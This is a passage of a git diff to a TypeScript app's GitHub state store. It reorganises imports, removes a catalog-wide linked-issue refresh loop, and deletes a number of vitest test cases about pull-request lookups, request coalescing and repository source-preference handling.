 ] as const
 
@@ -88,13 +85,6 @@ describe('pull-request lookup ownership after newer settlement', () => {
 
       if (outcome === 'rejected') {
         pending[0].reject(new Error('old lookup failed'))
-      } else if (outcome === 'upstream-error') {
-        pending[0].resolve({
-          kind: 'upstream-error',
-          message: 'old error',
-          errorType: 'unknown',
-          fetchedAt: 3000
-        })
       } else if (outcome === 'no-pr') {
         pending[0].resolve({ kind: 'no-pr', fetchedAt: 3000 })
       } else {
diff --git a/src/renderer/src/store/github/pull-requests/linked-review-clear.ts b/src/renderer/src/store/github/pull-requests/linked-review-clear.ts
index a00707dbbfb..2e60229f851 100644
--- a/src/renderer/src/store/github/pull-requests/linked-review-clear.ts
+++ b/src/renderer/src/store/github/pull-requests/linked-review-clear.ts
@@ -1,6 +1,3 @@
-import type { AppState } from '../../types'
-import type { Worktree } from '../../../../../shared/worktree/types'
-import type { Repo } from '../../../../../shared/repo-types'
 import { getRepoExecutionHostId } from '../../../../../shared/execution-host'
 import { CLEARED_HOSTED_REVIEW_SELECTION_UPDATES } from '../../../../../shared/worktree/hosted-review-links'
 import {
@@ -10,8 +7,11 @@ import {
 import { getHostedReviewLinkMutationGeneration } from '../../slices/worktrees/metadata/hosted-review-link-mutation'
 import { tryRuntimeTargetForWorktreeOwner } from '../../slices/worktrees/listing/worktree-owner-target'
 import { hasUniqueIndexedRepositoryHost } from '@/lib/workspace/ownership/repository-owner-index'
-import { resolveReviewRepository } from '@/lib/review-owner'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
 import { findWorktreeById, getWorktreeLookupIndex } from '../refresh/worktree-refresh'
+import type { AppState } from '../../types'
+import type { Worktree } from '../../../../../shared/worktree/types'
+import type { Repo } from '../../../../../shared/repo-types'
 
 export type LinkedReviewClearScope = {
   repository: Repo
diff --git a/src/renderer/src/store/github/refresh/github-pr-manual-refresh-broadcast.test.ts b/src/renderer/src/store/github/refresh/github-pr-manual-refresh-broadcast.test.ts
index 7c1304f3128..61341e58ead 100644
--- a/src/renderer/src/store/github/refresh/github-pr-manual-refresh-broadcast.test.ts
+++ b/src/renderer/src/store/github/refresh/github-pr-manual-refresh-broadcast.test.ts
@@ -95,12 +95,6 @@ describe('manual PR refresh whose outcome main also broadcasts', () => {
       expected: 'failure',
       check: { name: 'build', status: 'completed', conclusion: 'failure', url: null },
       order: 'reply-first'
-    },
-    {
-      raw: 'success',
-      expected: 'pending',
-      check: { name: 'build', status: 'in_progress', conclusion: null, url: null },
-      order: 'broadcast-first'
     }
   ]
   it.each(checksDeliveryCases)(
diff --git a/src/renderer/src/store/github/refresh/github-pr-refresh-states-leak.test.ts b/src/renderer/src/store/github/refresh/github-pr-refresh-states-leak.test.ts
index 3e00e60b7fa..5030ac0e9dc 100644
--- a/src/renderer/src/store/github/refresh/github-pr-refresh-states-leak.test.ts
+++ b/src/renderer/src/store/github/refresh/github-pr-refresh-states-leak.test.ts
@@ -49,33 +49,6 @@ describe('prRefreshStates stays bounded (leak regression)', () => {
     vi.clearAllMocks()
   })
 
-  it('prunes expired active states on refreshAll without writing a PR miss', () => {
-    vi.useFakeTimers()
-    vi.setSystemTime(1_000_000)
-    try {
-      const store = createTestStore()
-      store.setState({
-        prRefreshStates: {
-          stale: { status: 'queued', reason: 'visible', updatedAt: 1_000_000 - 121_000 },
-          settled: { status: 'error', reason: 'visible', updatedAt: 1, message: 'boom' }
-        },
-        prCache: {
-          stale: { data: null, fetchedAt: 1 }
-        },
-        repos: [],
-        worktreesByRepo: {}
-      } as unknown as Partial<AppState>)
-
-      store.getState().refreshAllGitHub()
-
-      expect(store.getState().prRefreshStates.stale).toBeUndefined()
-      expect(store.getState().prRefreshStates.settled).toBeDefined()
-      expect(store.getState().prCache.stale).toEqual({ data: null, fetchedAt: 1 })
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('expires the stale active state captured by a rejected forced PR refresh', async () => {
     vi.useFakeTimers()
     vi.setSystemTime(1_000_000)
diff --git a/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts b/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts
index 48ea4b3a385..6acd200b589 100644
--- a/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts
+++ b/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts
@@ -3,13 +3,11 @@ import type { AppState } from '../../types'
 import type { GitHubSlice } from '../github-slice-contract'
 import { getRepoExecutionHostId } from '../../../../../shared/execution-host'
 import { buildPRRefreshCandidate, findWorktreeReviewOwner } from './worktree-refresh'
-import { getGitHubRepoLookupIndex } from '../repositories/github-repo-lookup-index'
 import { issueCacheKey } from '../cache/cache-identity'
-import { CACHE_TTL, evictStaleEntries } from '../cache/cache-policy'
+import { evictStaleEntries } from '../cache/cache-policy'
 import { pruneExpiredPRRefreshStates } from './pr-refresh-state'
 import { pruneExpiredPRRefreshStartedEntries } from '../pull-requests/pr-result-cache'
 import { settingsForGitHubRepoOwner } from '../work-items/work-item-routing'
-import { selectWorktreesByRepo } from '../../workspaces/catalog/workspace-record-fields'
 
 export const createRefreshSweepActions = (
   set: Parameters<StateCreator<AppState>>[0],
@@ -41,40 +39,7 @@ export const createRefreshSweepActions = (
     })
 
     // Why: don't prune prRequestGenerations here — deleting a live generation makes its response look stale.
-
-    const state = get()
-    if (!(state.worktreeCardProperties ?? []).includes('issue')) {
-      return
-    }
-
-    const now = Date.now()
-    const repoLookup = getGitHubRepoLookupIndex(state.repos)
-
-    for (const worktrees of Object.values(selectWorktreesByRepo(state))) {
-      for (const wt of worktrees) {
-        const repo = repoLookup.findById(wt.repoId)
-        if (!repo) {
-          continue
-        }
-
-        if (wt.linkedIssue) {
-          const ownerSettings = settingsForGitHubRepoOwner(state.settings, repo)
-          const issueKey = issueCacheKey(
-            repo.path,
-            repo.id,
-            wt.linkedIssue,
-            ownerSettings,
-            repo.connectionId,
-            repo.executionHostId,
-            true
-          )
-          const issueEntry = state.issueCache[issueKey]
-          if (!issueEntry || now - issueEntry.fetchedAt >= CACHE_TTL) {
-            void get().fetchIssue(repo.path, wt.linkedIssue, { repoId: repo.id })
-          }
-        }
-      }
-    }
+    // Each surface that shows a linked issue refreshes it on reveal; no catalog-wide issue reads here.
   },
 
   refreshGitHubForWorktree: (worktreeId, executionHostId) => {
diff --git a/src/renderer/src/store/github/refresh/stale-worktree-refresh-actions.ts b/src/renderer/src/store/github/refresh/stale-worktree-refresh-actions.ts
index d497c3fa18c..648125d9047 100644
--- a/src/renderer/src/store/github/refresh/stale-worktree-refresh-actions.ts
+++ b/src/renderer/src/store/github/refresh/stale-worktree-refresh-actions.ts
@@ -2,7 +2,7 @@ import type { StateCreator } from 'zustand'
 import type { AppState } from '../../types'
 import type { GitHubSlice } from '../github-slice-contract'
 import type { Worktree } from '../../../../../shared/worktree/types'
-import { rightSidebarShowsPullRequestData } from '@/lib/right-sidebar-visibility'
+import { rightSidebarShowsPullRequestData } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
 import { issueCacheKey } from '../cache/cache-identity'
 import { CACHE_TTL } from '../cache/cache-policy'
 import { settingsForGitHubRepoOwner } from '../work-items/work-item-routing'
diff --git a/src/renderer/src/store/github/refresh/worktree-refresh.ts b/src/renderer/src/store/github/refresh/worktree-refresh.ts
index 79b2069fa23..faa2c76f9a5 100644
--- a/src/renderer/src/store/github/refresh/worktree-refresh.ts
+++ b/src/renderer/src/store/github/refresh/worktree-refresh.ts
@@ -1,17 +1,16 @@
-import type { AppState } from '../../types'
-import type { GitHubPRRefreshCandidate } from '../../../../../shared/github/pull-request-refresh-types'
-import type { Repo } from '../../../../../shared/repo-types'
-import type { Worktree } from '../../../../../shared/worktree/types'
 import {
   getRepoExecutionHostId,
   LOCAL_EXECUTION_HOST_ID,
   normalizeExecutionHostId,
   parseExecutionHostId,
-  toRuntimeExecutionHostId,
-  type ExecutionHostId
+  toRuntimeExecutionHostId
 } from '../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import { isMacAppDataPath } from '@/app-shell/platform/passive-macos-app-data-access'
-import { resolveReviewRepository, reviewRepositoryMatchesWorkspace } from '@/lib/review-owner'
+import {
+  resolveReviewRepository,
+  reviewRepositoryMatchesWorkspace
+} from '@/lib/source-control/review/review-owner'
 import {
   findIndexedReviewRepository,
   hasUniqueIndexedRepositoryHost
@@ -23,6 +22,10 @@ import { settingsForGitHubRepoOwner } from '../work-items/work-item-routing'
 import { githubHostedReviewFallbackPRNumber } from '../pull-requests/pr-result-routing'
 import { resolvePRBranchFallback } from '../../../../../shared/github/pr-branch-fallback-rule'
 import { selectWorktreesByRepo } from '../../workspaces/catalog/workspace-record-fields'
+import type { AppState } from '../../types'
+import type { GitHubPRRefreshCandidate } from '../../../../../shared/github/pull-request-refresh-types'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { Worktree } from '../../../../../shared/worktree/types'
 
 export function findWorktreeById(
   state: AppState,
diff --git a/src/renderer/src/store/github/requests/provider-request-coalescing.test.ts b/src/renderer/src/store/github/requests/provider-request-coalescing.test.ts
index ddb408f741b..2d6482893cf 100644
--- a/src/renderer/src/store/github/requests/provider-request-coalescing.test.ts
+++ b/src/renderer/src/store/github/requests/provider-request-coalescing.test.ts
@@ -33,57 +33,6 @@ describe('GitHub provider request upgrade coalescing', () => {
     resetRemoteRuntimeMocks()
   })
 
-  it('never joins a weaker replacement and never waits out more than one', async () => {
-    const store = createTestStore()
-    const weak = Promise.withResolvers<ListWorkItemsResult<GitHubWorkItem>>()
-    const forced = Promise.withResolvers<ListWorkItemsResult<GitHubWorkItem>>()
-    const strict = Promise.withResolvers<ListWorkItemsResult<GitHubWorkItem>>()
-    mockApi.gh.listWorkItems
-      .mockReturnValueOnce(weak.promise)
-      .mockReturnValueOnce(forced.promise)
-      .mockReturnValue(strict.promise)
-    const first = store.getState().fetchWorkItems('repo-1', '/repo', 24, '')
-    const forcedFetch = store.getState().fetchWorkItems('repo-1', '/repo', 24, '', { force: true })
-    const strictFollowers = Array.from({ length: 2 }, () =>
-      store.getState().fetchWorkItems('repo-1', '/repo', 24, '', {
-        force: true,
-        noCache: true,
-        requireComplete: true
-      })
-    )
-    weak.resolve(workItems('weak'))
-    await first
-    // Bound upgrade waits so repeating weak replacements cannot starve strict callers, which still share one strict request.
-    await vi.waitFor(() => expect(mockApi.gh.listWorkItems).toHaveBeenCalledTimes(3))
-    expect(mockApi.gh.listWorkItems).toHaveBeenLastCalledWith(
-      expect.objectContaining({ noCache: true })
-    )
-    strict.resolve(workItems('strict'))
-    const strictResults = await Promise.all(strictFollowers)
-    forced.resolve(workItems('forced'))
-    await expect(forcedFetch).resolves.toBeUndefined()
-
-    expect(strictResults.map((rows) => rows?.[0].title)).toEqual(['strict', 'strict'])
-  })
-
-  it('keeps an invalidated request from removing its replacement dedupe entry', async () => {
-    const store = createTestStore()
-    const stale = Promise.withResolvers<ListWorkItemsResult<GitHubWorkItem>>()
-    const fresh = Promise.withResolvers<ListWorkItemsResult<GitHubWorkItem>>()
-    mockApi.gh.listWorkItems.mockReturnValueOnce(stale.promise).mockReturnValue(fresh.promise)
-    const first = store.getState().fetchWorkItems('repo-1', '/repo', 24, '')
-    store.getState().evictGitHubRepoCaches('repo-1', '/repo')
-    const replacement = store.getState().fetchWorkItems('repo-1', '/repo', 24, '', { force: true })
-    stale.resolve(workItems('stale'))
-    await first
-    const joined = store.getState().fetchWorkItems('repo-1', '/repo', 24, '', { force: true })
-    fresh.resolve(workItems('fresh'))
-    await expect(Promise.all([replacement, joined])).resolves.toEqual([
-      workItems('fresh').items,
-      workItems('fresh').items
-    ])
-  })
-
   it('rejects partial results for every complete-result waiter and allows a later retry', async () => {
     const store = createTestStore()
     const weak = Promise.withResolvers<ListWorkItemsResult<GitHubWorkItem>>()
diff --git a/src/renderer/src/store/github/sources/github-source-lifetime.test.tsx b/src/renderer/src/store/github/sources/github-source-lifetime.test.tsx
index 2b983ba4e66..f8d1ff7f31d 100644
--- a/src/renderer/src/store/github/sources/github-source-lifetime.test.tsx
+++ b/src/renderer/src/store/github/sources/github-source-lifetime.test.tsx
@@ -3,14 +3,8 @@ import { cleanup } from '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { useStore } from 'zustand'
 import { createTestStore, mockApi, resetRemoteRuntimeMocks } from '../github-slice-test-harness'
-import { mergeFetchedRepoCatalog, type FetchedRepoCatalog } from '../../repos/repo-catalog-merge'
-import { projectHostSetupProjectionFromRepos } from '../../../../../shared/project-host-setup-projection'
 import { createRepoUpdateActions } from '../../repos/repo-update'
-import { findTaskPageDialogWorkItem } from '@/components/task-page/task-page-dialog-work-item'
-import { getTaskPageRepoSourceContext } from '@/lib/work-items/task-repo-source-context'
 import { taskPageGitHubResumeCache } from '@/components/task-page/github/task-page-github-resume-cache'
-
-import { githubTaskBinding } from '@/lib/work-items/github/github-task-observation'
 import type { AppState } from '../../types'
 import { createGlobalSettingsFixture } from '../../../../../shared/global-settings-test-fixture'
 import type { Repo } from '../../../../../shared/repo-types'
@@ -97,54 +91,6 @@ afterEach(() => {
 })
 
 describe('GitHub source collection lifetime', () => {
-  it('detaches old rows at the optimistic click and never publishes a pre-ack response', async () => {
-    const store = setup()
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
-    const save = Promise.withResolvers<Repo>()
-    mockApi.repos.update.mockReturnValue(save.promise)
-    const pendingSave = store
-      .getState()
-      .setIssueSourcePreference(repo.id, repo.path, 'origin', 'local')
-    const detached = store.getState().getCachedWorkItems(repo.id, 20, '', repo.path)
-    const early = store.getState().fetchWorkItems(repo.id, repo.path, 20, '', { force: true })
-    await flush()
-    save.resolve({ ...repo, issueSourcePreference: 'origin' })
-    await pendingSave
-    expect(detached).toBeNull()
-    expect(await early).toBeUndefined()
-    expect(store.getState().getCachedWorkItems(repo.id, 20, '', repo.path)).toBeNull()
-  })
-
-  it('preserves the latest pressed value across intermediate A→B→A save replies', async () => {
-    const store = setup()
-    const catalog: FetchedRepoCatalog = {
-      repos: [repo],
-      reposAtRequest: [repo],
-      hostId: 'local',
-      projectHostSetupCompatibility: projectHostSetupProjectionFromRepos([repo]),
-      sourceOwner: store.getState().githubSourceCollections,
-      sourceWrites: store.getState().githubSourceCollections.catalogSnapshot()
-    }
-    const first = Promise.withResolvers<Repo>(),
-      last = Promise.withResolvers<Repo>()
-    mockApi.repos.update.mockReturnValueOnce(first.promise).mockReturnValueOnce(last.promise)
-    const b = store.getState().setIssueSourcePreference(repo.id, repo.path, 'origin', 'local')
-    const a = store.getState().setIssueSourcePreference(repo.id, repo.path, 'upstream', 'local')
-    first.resolve({ ...repo, issueSourcePreference: 'origin' })
-    await b
-    const intermediate = store.getState().repos[0].issueSourcePreference
-    expect(
-      mergeFetchedRepoCatalog(catalog, store.getState().repos).repos[0].issueSourcePreference
-    ).toBe('upstream')
-    last.resolve({ ...repo, issueSourcePreference: 'upstream' })
-    await a
-    expect(intermediate).toBe('upstream')
-    expect(store.getState().repos[0].issueSourcePreference).toBe('upstream')
-    expect(
-      mergeFetchedRepoCatalog(catalog, store.getState().repos).repos[0].issueSourcePreference
-    ).toBe('upstream')
-  })
-
   it('rejects inverted A1/B/A2 list deliveries including page N', async () => {
     const store = setup()
     const a1 = Promise.withResolvers<ReturnType<typeof envelope>>()
@@ -171,249 +117,9 @@ describe('GitHub source collection lifetime', () => {
         ?.map((item) => item.url)
     ).toEqual([row('parent').url])
   })
-
-  it('detaches only the selected host when two copies share both id and path', async () => {
-    const store = setup()
-    const ssh = { ...repo, executionHostId: 'ssh:box' as const, connectionId: 'box' }
-    store.setState({ repos: [repo, ssh] })
-    const localSource = getTaskPageRepoSourceContext(repo, 'github')
-    const sshSource = getTaskPageRepoSourceContext(ssh, 'github')
-    await store
-      .getState()
-      .fetchWorkItems(repo.id, repo.path, 20, '', { sourceContext: localSource })
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, '', { sourceContext: sshSource })
-    await store.getState().setIssueSourcePreference(ssh.id, ssh.path, 'origin', 'ssh:box')
-    expect(store.getState().getCachedWorkItems(ssh.id, 20, '', ssh.path, sshSource)).toBeNull()
-    expect(
-      store.getState().getCachedWorkItems(repo.id, 20, '', repo.path, localSource)
-    ).toHaveLength(1)
-  })
-
-  it('returns obsolete for a served-source contradiction rather than wrong-source rows', async () => {
-    const store = setup()
-    await store.getState().setIssueSourcePreference(repo.id, repo.path, 'origin', 'local')
-    mockApi.gh.listWorkItems.mockResolvedValue(envelope('parent'))
-    expect(await store.getState().fetchWorkItemsAcrossRepos(args, 20, 20, '')).toBeUndefined()
-  })
-
-  it('terminates a failed save and failed resync, restores the acknowledged choice, and permits retry', async () => {
-    const store = setup()
-    mockApi.repos.update.mockRejectedValueOnce(new Error('save rejected'))
-    store.setState({ fetchReposForAllHosts: vi.fn().mockRejectedValue(new Error('resync failed')) })
-    await store.getState().setIssueSourcePreference(repo.id, repo.path, 'origin', 'local')
-    expect(store.getState().repos[0].issueSourcePreference).toBeUndefined()
-    mockApi.gh.listWorkItems.mockResolvedValueOnce(envelope('parent'))
-    expect(await store.getState().fetchWorkItems(repo.id, repo.path, 20, '')).toHaveLength(1)
-    await store.getState().setIssueSourcePreference(repo.id, repo.path, 'upstream', 'local')
-    expect(store.getState().repos[0].issueSourcePreference).toBe('upstream')
-  })
-
-  it('certifies Submit after a failed write only once the host row is read back', async () => {
-    const store = setup()
-    // The host may have committed origin although the acknowledgement was lost.
-    mockApi.repos.update.mockRejectedValueOnce(new Error('request timed out'))
-    const recovery = Promise.withResolvers<void>()
-    store.setState({ fetchReposForAllHosts: vi.fn().mockReturnValue(recovery.promise) })
-    const owner = store.getState().githubSourceCollections
-    await store.getState().setIssueSourcePreference(repo.id, repo.path, 'origin', 'local')
-    const waiting = owner.awaitSave(store.getState().repos[0])
-    await flush()
-    recovery.reject(new Error('catalog unreachable'))
-    const unverified = await waiting
-    expect(unverified !== 'save-failed' && unverified()).toBe(false)
-    const readBack = vi.fn(async () => {
-      const started = owner.catalogSnapshot()
-      store.setState((s) => ({ repos: s.repos.map((row) => owner.adopt({ ...row }, started)) }))
-    })
-    store.setState({ fetchReposForAllHosts: readBack })
-    const ready = await owner.awaitSave(store.getState().repos[0])
-
-    expect(ready !== 'save-failed' && ready()).toBe(true)
-  })
-
-  it('keeps another repository delivery current when one owner retires its mapping', async () => {
-    const store = setup()
-    const other = { ...repo, id: 'other', path: '/other' }
-    store.setState({ repos: [repo, other] })
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
-    const held = Promise.withResolvers<ReturnType<typeof envelope>>()
-    mockApi.gh.listWorkItems.mockReturnValueOnce(held.promise)
-    const otherRows = store.getState().fetchWorkItems(other.id, other.path, 20, '')
-    await flush()
-    mockApi.gh.listWorkItems.mockResolvedValueOnce({
-      ...envelope('parent'),
-      sources: { ...envelope('parent').sources, originCandidate: { owner: 'new-fork', repo: 'p' } }
-    })
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, 'label:new')
-    held.resolve(envelope('parent'))
-    expect(await otherRows).toHaveLength(1)
-  })
-
-  it('adopts a queued rename after an earlier queued account change replaced the owner', async () => {
-    const store = setup()
-    const bob = { host: 'github.com', user: 'bob' }
-    const account = Promise.withResolvers<Repo>()
-    mockApi.repos.update
-      .mockReturnValueOnce(account.promise)
-      .mockResolvedValueOnce({ ...repo, ghAccount: bob, displayName: 'New' })
-    const switching = store.getState().updateRepo(repo.id, { ghAccount: bob })
-    const renaming = store.getState().updateRepo(repo.id, { displayName: 'New' })
-    account.resolve({ ...repo, ghAccount: bob })
-    expect([await switching, await renaming]).toEqual([true, true])
-    expect(store.getState().repos[0].displayName).toBe('New')
-  })
-
-  it('retires removed owners and their cached pages', async () => {
-    const k = 3
-    const store = setup()
-    const gone = Array.from({ length: k }, (_, i) => ({
-      ...repo,
-      id: `gone-${i}`,
-      path: `/g${i}`
-    }))
-    store.setState({ repos: [repo, ...gone] })
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
-    await store.getState().fetchWorkItems(gone[0].id, gone[0].path, 20, '')
-    const owner = store.getState().githubSourceCollections
-    const goneCount = owner.countKey([owner.capture(gone[0]).scope], '', 20)
-    owner.answer(goneCount, [owner.capture(gone[0])], { totalCount: 1, totalPages: 1 }, '', 20)
-    taskPageGitHubResumeCache.write('gone', 1, [row('parent')], undefined, [owner.context(gone[0])])
-    const cache = store.getState().workItemsCache
-    store.setState({ repos: [repo, gone[0]] })
-
-    expect(store.getState().workItemsCache).toBe(cache)
-    store.setState({ repos: [repo] })
-
-    expect(Object.keys(store.getState().workItemsCache)).toHaveLength(1)
-    expect(owner.count(goneCount)).toBeUndefined()
-    expect(taskPageGitHubResumeCache.read('gone', 1)).toBeNull()
-  })
-
-  it('ends a held read whose owner is removed and re-added, but keeps an unbound read', async () => {
-    const store = setup()
-    const owner = store.getState().githubSourceCollections
-    const save = Promise.withResolvers<Repo>()
-    mockApi.repos.update.mockReturnValueOnce(save.promise)
-    const saving = store.getState().setIssueSourcePreference(repo.id, repo.path, 'origin', 'local')
-    const reading = owner.readCurrent(store.getState().repos, () =>
-      store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
-    )
-    await flush()
-    store.setState({ repos: [] })
-    store.setState({ repos: [{ ...repo, issueSourcePreference: 'origin' }] })
-    save.resolve({ ...repo, issueSourcePreference: 'origin' })
-    await saving
-    expect(await reading).toBeUndefined()
-    expect(mockApi.gh.listWorkItems).not.toHaveBeenCalled()
-    expect(store.getState().workItemsCache).toEqual({})
-    const unbound = await owner.readCurrent([undefined], () =>
-      store.getState().fetchWorkItems('unregistered', '/unregistered', 20, '')
-    )
-    expect(unbound).toHaveLength(1)
-  })
-
-  it('follows superseding saves without spending reads, then reads once', async () => {
-    const store = setup()
-    const saves = [0, 1, 2].map(() => Promise.withResolvers<Repo>())
-    for (const save of saves) {
-      mockApi.repos.update.mockReturnValueOnce(save.promise)
-    }
-    mockApi.gh.listWorkItems.mockResolvedValue(envelope('fork'))
-    const set = () =>
-      store.getState().setIssueSourcePreference(repo.id, repo.path, 'origin', 'local')
-    const pending = [set()]
-    const reading = store
-      .getState()
-      .githubSourceCollections.readCurrent(store.getState().repos, () =>
-        store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
-      )
-    for (let superseding = 0; superseding < 2; superseding++) {
-      await flush()
-      pending.push(set())
-    }
-    for (const save of saves) {
-      save.resolve({ ...repo, issueSourcePreference: 'origin' })
-      await flush()
-    }
-    await Promise.all(pending)
-    expect(await reading).toHaveLength(1)
-  })
-
-  it('opens the clicked current-binding row over an older binding copy of the same issue', async () => {
-    const store = setup()
-    mockApi.gh.listWorkItems.mockResolvedValueOnce({
-      ...envelope('parent'),
-      items: [{ ...row('parent'), title: 'Old title' }]
-    })
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
-    await store.getState().setIssueSourcePreference(repo.id, repo.path, 'upstream', 'local')
-    mockApi.gh.listWorkItems.mockResolvedValueOnce({
-      ...envelope('parent'),
-      items: [{ ...row('parent'), title: 'Fresh title' }]
-    })
-    const [clicked] =
-      (await store.getState().fetchWorkItems(repo.id, repo.path, 20, '', { force: true })) ?? []
-    expect(
-      findTaskPageDialogWorkItem(
-        store.getState().workItemsCache,
-        clicked,
-        githubTaskBinding(store.getState().repos[0])
-      )?.title
-    ).toBe('Fresh title')
-  })
 })
 
 describe('source mapping and estimate retirement', () => {
-  it('keeps unregistered legacy reads usable without certifying another repository estimate', async () => {
-    const store = setup()
-    mockApi.gh.listWorkItems.mockResolvedValueOnce({ ...envelope('parent'), items: [] })
-    await store.getState().fetchWorkItems('unregistered-a', '/unregistered-a', 20, '')
-    mockApi.gh.countWorkItems.mockResolvedValueOnce(40)
-    expect(
-      await store
-        .getState()
-        .countWorkItemsAcrossRepos([{ repoId: 'unregistered-b', path: '/unregistered-b' }], '', 20)
-    ).toEqual({ totalCount: 40, totalPages: 2 })
-  })
-
-  it('joins an already running discovery without another list, retains known answers on opaque failure, and retires complete empty evidence', async () => {
-    const store = setup()
-    const held = Promise.withResolvers<ReturnType<typeof envelope>>()
-    mockApi.gh.listWorkItems.mockReturnValueOnce(held.promise)
-    mockApi.gh.countWorkItems.mockResolvedValue(60)
-    const counting = store.getState().countWorkItemsAcrossRepos(args, '', 20)
-    const list = store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
-    await flush()
-
-    held.resolve(envelope('parent'))
-    await list
-    expect(await counting).toEqual({ totalCount: 60, totalPages: 3 })
-    const owner = store.getState().githubSourceCollections
-    const key = owner.countKey([owner.capture(store.getState().repos[0]).scope], '', 20)
-    mockApi.gh.countWorkItems.mockResolvedValue(0)
-    expect(await store.getState().countWorkItemsAcrossRepos(args, '', 20)).toBeUndefined()
-    expect(owner.count(key)?.totalCount).toBe(60)
-    mockApi.gh.countWorkItems.mockRejectedValueOnce(new Error('offline'))
-    expect(await store.getState().countWorkItemsAcrossRepos(args, '', 20)).toBeUndefined()
-    expect(owner.count(key)?.totalCount).toBe(60)
-    mockApi.gh.listWorkItems.mockResolvedValueOnce({
-      ...envelope('parent'),
-      items: [],
-      errors: { issues: { type: 'unknown', message: 'partial' } }
-    })
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, '', { force: true })
-    mockApi.gh.countWorkItems.mockResolvedValueOnce(20)
-    expect(await store.getState().countWorkItemsAcrossRepos(args, '', 20)).toBeUndefined()
-    expect(owner.count(key)?.totalCount).toBe(60)
-    mockApi.gh.listWorkItems.mockResolvedValueOnce({ ...envelope('parent'), items: [] })
-    await store.getState().fetchWorkItems(repo.id, repo.path, 20, '', { force: true })
-    expect(owner.count(key)).toBeUndefined()
-    expect(await store.getState().countWorkItemsAcrossRepos(args, '', 20)).toEqual({
-      totalCount: 0,
-      totalPages: 0
-    })
-  })
-
   it('retires every query and resume page when origin alone changes, and cannot revive a removed owner through a pending save', async () => {
     const store = setup()
     await store.getState().fetchWorkItems(repo.id, repo.path, 20, '')
diff --git a/src/renderer/src/store/github/task-records/github-task-records.test.ts b/src/renderer/src/store/github/task-records/github-task-records.test.ts
index ced58f7f558..e6628ee12c8 100644
--- a/src/renderer/src/store/github/task-records/github-task-records.test.ts
+++ b/src/renderer/src/store/github/task-records/github-task-records.test.ts
@@ -1,18 +1,10 @@
 import { answered } from '../requests/answered-request.test-fixture'
-import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { Repo } from '../../../../../shared/repo-types'
 import type { GitHubWorkItem } from '../../../../../shared/github/work-item-types'
-import type { GitHubProjectTable } from '../../../../../shared/github/project-types'
 import { createTestStore, mockApi, resetRemoteRuntimeMocks } from '../github-slice-test-harness'
 import { getTaskPageRepoSourceContext } from '@/lib/work-items/task-repo-source-context'
-import { projectViewCacheKey } from '../cache/cache-identity'
-import { getRegistryMergedTaskPageGitHubWorkItem } from '@/components/task-page/github/task-page-github-work-item-mutation-composition'
-import {
-  setConfirmedListSnapshot,
-  setLastConfirmedClientValue,
-  resetTaskPageGitHubMutationRegistryForTests
-} from '@/components/task-page/github/task-page-github-work-item-mutation-registry'
+import { resetTaskPageGitHubMutationRegistryForTests } from '@/components/task-page/github/task-page-github-work-item-mutation-registry'
 
 const lookup = vi.hoisted(() => vi.fn())
 vi.mock('@/lib/work-items/github/github-work-item-source-lookup', () => ({
@@ -39,7 +31,6 @@ const row: GitHubWorkItem = {
   author: null,
   updatedAt: '2026-10-31T12:00:02Z'
 }
-const user = { login: 'alice', name: 'Alice', avatarUrl: 'alice.png' }
 function deferred<T>() {
   let resolve!: (value: T) => void
   let reject!: (error: Error) => void
@@ -82,73 +73,16 @@ async function tasksRow(store: ReturnType<typeof createTestStore>, item: GitHubW
     )[0]
   return { copy, capture, search }
 }
-const unsupported = () =>
-  new RuntimeRpcCallError({
-    id: 'old-server',
-    ok: false,
-    error: { code: 'method_not_found', message: 'unsupported' }
-  })
 
 /** An account switch and back: the old binding is disposed and a new incarnation replaces it. */
 function rebind(store: ReturnType<typeof createTestStore>) {
   store.setState({ repos: [{ ...repo, ghAccount: { host: 'github.com', user: 'bob' } }] })
   store.setState({ repos: [repo] })
 }
-function board(rows: GitHubProjectTable['rows'] = []): GitHubProjectTable {
-  return {
-    project: {
-      id: 'p',
-      owner: 'acme',
-      ownerType: 'organization',
-      number: 1,
-      title: 'Board',
-      url: 'https://github.com/orgs/acme/projects/1'
-    },
-    selectedView: {
-      id: 'v',
-      number: 1,
-      name: 'Table',
-      layout: 'TABLE_LAYOUT',
-      filter: '',
-      fields: [],
-      groupByFields: [],
-      sortByFields: []
-    },
-    rows,
-    totalCount: rows.length,
-    parentFieldDropped: false
-  }
-}
-function projectRow(id = 'r'): GitHubProjectTable['rows'][number] {
-  return {
-    id,
-    position: 0,
-    itemType: 'ISSUE',
-    updatedAt: '2099-01-01T00:00:00Z',
-    fieldValuesByFieldId: {},
-    content: {
-      title: 'Indexed',
-      body: 'Board body',
-      url: row.url,
-      repository: 'Acme/Widgets',
-      number: 42,
-      state: 'OPEN',
-      stateReason: null,
-      isDraft: null,
-      parentIssue: null,
-      issueType: null,
-      labels: [{ name: 'original', color: '123456' }],
-      assignees: [{ login: 'alice', name: 'Board profile', avatarUrl: 'board.png' }]
-    }
-  }
-}
-
-/** F1 input: the board was fetched after the cached Tasks row and is fresher. */
 
 function taskFacts(item: GitHubWorkItem) {
   return { title: item.title, state: item.state, labels: item.labels }
 }
-/** A board in the Project view cache, read back the way the board renders it. */
 
 describe('shared GitHub task records through production store actions', () => {
   beforeEach(() => {
@@ -178,47 +112,6 @@ describe('shared GitHub task records through production store actions', () => {
